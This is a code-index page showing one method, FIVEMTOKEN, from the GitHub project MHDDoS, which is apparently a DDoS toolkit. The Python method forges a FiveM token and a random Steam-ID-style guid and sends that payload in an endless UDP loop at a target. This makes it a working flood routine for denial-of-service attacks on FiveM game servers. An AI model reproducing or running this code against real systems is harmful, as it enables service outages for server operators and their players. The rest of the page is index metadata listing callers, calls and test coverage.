MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / FIVEMTOKEN

Method FIVEMTOKEN

start.py:609–625  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

607 Tools.safe_close(s)
608
609 def FIVEMTOKEN(self) -> None:
610 global BYTES_SEND, REQUESTS_SENT
611
612 # Generete token and guid
613 token = str(uuid4())
614 steamid_min = 76561197960265728
615 steamid_max = 76561199999999999
616 guid = str(randint(steamid_min, steamid_max))
617
618 # Build Payload
619 payload_str = f"token={token}&guid={guid}"
620 payload = payload_str.encode('utf-8')
621
622 with socket(AF_INET, SOCK_DGRAM) as s:
623 while Tools.sendto(s, payload, self._target):
624 continue
625 Tools.safe_close(s)
626
627 def FIVEM(self) -> None:
628 global BYTES_SEND, REQUESTS_SENT

Callers

nothing calls this directly

Calls 2

sendtoMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected